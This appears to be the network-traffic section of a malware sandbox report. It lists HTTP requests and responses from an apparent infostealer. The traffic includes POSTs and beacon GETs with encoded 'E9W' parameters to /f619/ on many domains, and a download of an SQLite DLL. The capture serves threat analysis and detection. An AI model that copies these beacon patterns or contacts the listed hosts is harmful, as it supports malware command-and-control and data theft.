Network Analysis

POST /f619/ HTTP/1.1 Host: www.smartinnoventions.com Connection: close Content-Length: 173 Cache-Control: no-cache Origin: http://www.smartinnoventions.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.smartinnoventions.com/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 18 May 2023 01:44:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.1.30 Content-Encoding: gzip

GET /f619/?E9W=Ek2xhbXtY1qXzB2JvbkcFvKbSmJm4K+Uyb5xsLYZ3zgsIlX7EFjcw6TuiLcQZ5KUivhxYJn0P8EizsHxKHQ+wy4OSt0bovGghjBDZDE=&NC=ptGp HTTP/1.1 Host: www.smartinnoventions.com Connection: close

HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 18 May 2023 01:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.1.30

GET /2016/sqlite-dll-win32-x86-3100000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Thu, 18 May 2023 01:44:07 GMT Last-Modified: Sat, 30 Jul 2016 15:11:53 GMT Cache-Control: max-age=120 ETag: "m579cc3b9s642da" Content-type: application/zip; charset=utf-8 Content-length: 410330

POST /f619/ HTTP/1.1 Host: www.intake-tree.com Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.intake-tree.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.intake-tree.com/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: Cowboy Connection: close X-Powered-By: Express Content-Security-Policy: default-src 'self' X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 145 Date: Thu, 18 May 2023 01:44:16 GMT Via: 1.1 vegur

GET /f619/?E9W=YCaZye8ndW5O5ejCJ7uN2558Y+97WERyr3klZ+XCKIlwv4gr+zruhmNXWBgIbED6mtP3DBYvR0gpojWOjcOh+ihVnCiMcphzPiGO29A=&NC=ptGp HTTP/1.1 Host: www.intake-tree.com Connection: close

HTTP/1.1 200 OK Server: Cowboy Connection: close X-Powered-By: Express Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Thu, 13 Apr 2023 19:42:21 GMT Etag: W/"8de-1877c23e948" Content-Type: text/html; charset=UTF-8 Content-Length: 2270 Date: Thu, 18 May 2023 01:44:19 GMT Via: 1.1 vegur

POST /f619/ HTTP/1.1 Host: www.towfire.life Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.towfire.life User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.towfire.life/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Thu, 18 May 2023 01:44:25 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html

GET /f619/?E9W=Ehbg4LlyVMHP0pAFmIQxhDDkp6Kxs477sF6nDv0EaT5K8/1GH5wf1bgzqSKTUaDZXTnW9d28cNYQDMZcc5x0F8aQqyCdRYlsL10lLoU=&NC=ptGp HTTP/1.1 Host: www.towfire.life Connection: close

HTTP/1.1 404 Not Found Date: Thu, 18 May 2023 01:44:27 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8

POST /f619/ HTTP/1.1 Host: www.gospelfy.online Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.gospelfy.online User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.gospelfy.online/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK Server: nginx Date: Thu, 18 May 2023 01:44:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: gzip

GET /f619/?E9W=mqENKO6x6u0B1RhcdIeKlgDLrDi38FKwdcw4276gfXsD1t5r0KVruS6mnpdZvtzm+Q0xGOUHk2EA1TA3TL1CSm4H2R6TK8LtJrZ83YI=&NC=ptGp HTTP/1.1 Host: www.gospelfy.online Connection: close

HTTP/1.1 200 OK Server: nginx Date: Thu, 18 May 2023 01:44:36 GMT Content-Type: text/html Content-Length: 952 Connection: close Vary: Accept-Encoding Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache

POST /f619/ HTTP/1.1 Host: www.queenkidul.com Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.queenkidul.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.queenkidul.com/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Thu, 18 May 2023 01:44:42 GMT server: LiteSpeed x-powered-by: Niagahoster strict-transport-security: max-age=31536000; includeSubDomains; preload x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent

GET /f619/?E9W=flPn1CpczsmcmsloYAj+WZ9tyIXCLn2BUp15WA9gR+pRAl39PMpr22E4uA5K3fGksCy6GKGUT/KR36S7pADHdFopIcR3oqkCWwUH3Bw=&NC=ptGp HTTP/1.1 Host: www.queenkidul.com Connection: close

HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Thu, 18 May 2023 01:44:45 GMT server: LiteSpeed x-powered-by: Niagahoster strict-transport-security: max-age=31536000; includeSubDomains; preload x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent

POST /f619/ HTTP/1.1 Host: www.sockmomma.com Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.sockmomma.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.sockmomma.com/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Thu, 18 May 2023 01:44:50 GMT Connection: close Content-Length: 1163

GET /f619/?E9W=2xrbRaVqfFZAqlIaVxxROj1er0vApHth0WR1aJHeUhlKoHhTuPzXEzX44r40ys20rE4Ka7hzk9c+zV+d/czmBtVLQF0HWkNVVexiFz0=&NC=ptGp HTTP/1.1 Host: www.sockmomma.com Connection: close

HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Thu, 18 May 2023 01:44:52 GMT Connection: close Content-Length: 1163

POST /f619/ HTTP/1.1 Host: www.stephenwang.photography Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.stephenwang.photography User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.stephenwang.photography/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Thu, 18 May 2023 01:44:58 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1

GET /f619/?E9W=u5f4p4qz7o/fTtDm3nSz6hiFO4aCCN2AsW/usgJw6zJdWxar6/CI5CJVoaMo1PtwYoo0+7BD2Z2qbjCMw+JlDyQ8u/oV4aU03sHkcSA=&NC=ptGp HTTP/1.1 Host: www.stephenwang.photography Connection: close

HTTP/1.1 404 Not Found Date: Thu, 18 May 2023 01:45:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1

POST /f619/ HTTP/1.1 Host: www.skillfulp10.buzz Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.skillfulp10.buzz User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.skillfulp10.buzz/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 403 Forbidden Date: Thu, 18 May 2023 01:45:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XwH9sZg0JNsLWZLZZDpds9Rco07OqHLhLdQ2fklP2O%2FTbBhbn6%2F2JZ7FqHKPqg7bbwmBBrTgXZsqYM9MkFjXIndq3ZU9Xio5kderZ8eoY5frkk1JpjHv%2FMSDO8c6%2FkGdgaV%2Bif8h7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7c906b398f0c1a2b-KIX Content-Encoding: gzip alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

GET /f619/?E9W=35x6vbxblib5MVXL66MiYOFyCwyiW+WpCMCOaRW/LabtpXpMR316Gm+YR9yWJR7EH7/o0i+7abS9fGbf51xT5oPd3YLLmnWOCyaGRj8=&NC=ptGp HTTP/1.1 Host: www.skillfulp10.buzz Connection: close

HTTP/1.1 200 OK Date: Thu, 18 May 2023 01:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_lW0IhIZumnSDK1DwkJ4llBhltpxYh34avvkMVf49oRFHWUJ6aCUH3BSVFyBO69Eb6B/gFYsY2Puza9qHv9dpgQ== last-modified: Thu, 18 May 2023 01:45:09 GMT x-cache-miss-from: parking-74ccf657ff-tdsx5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fp4uXsofQdE0buVIa4MnfC9XWJ98hKvgUnJ%2Fn0mWAqKZBgYPg1FpUSYmy830%2Bfc8%2FVfBSl7LtgGBBBJ6NNc8CL3iJ8ZLEIXacBo%2BVa2SPpnLAj57dNqIM5cNKQBPm2eyJ7%2Bal3FKaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7c906b4948b119c5-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

POST /f619/ HTTP/1.1 Host: www.28588v.com Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.28588v.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.28588v.com/f619/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 301 Moved Permanently Location: https://www.28588v.com/f619/ Date: Thu, 18 May 2023 01:45:15 GMT Content-Length: 0 Connection: close

GET /f619/?E9W=G3I5ds8dOpaKd+DH1ake2pRuUN+UMAJZaHOz+8NtztMbt4Q0fuIWaSpOJ5XO92YffYK2mOkzi8XK+GtmVritvfJB+FClpV7RO2AgtZU=&NC=ptGp HTTP/1.1 Host: www.28588v.com Connection: close

HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Location: https://www.28588v.com/f619/?E9W=G3I5ds8dOpaKd+DH1ake2pRuUN+UMAJZaHOz+8NtztMbt4Q0fuIWaSpOJ5XO92YffYK2mOkzi8XK+GtmVritvfJB+FClpV7RO2AgtZU=&NC=ptGp Date: Thu, 18 May 2023 01:45:17 GMT Content-Length: 184 Connection: close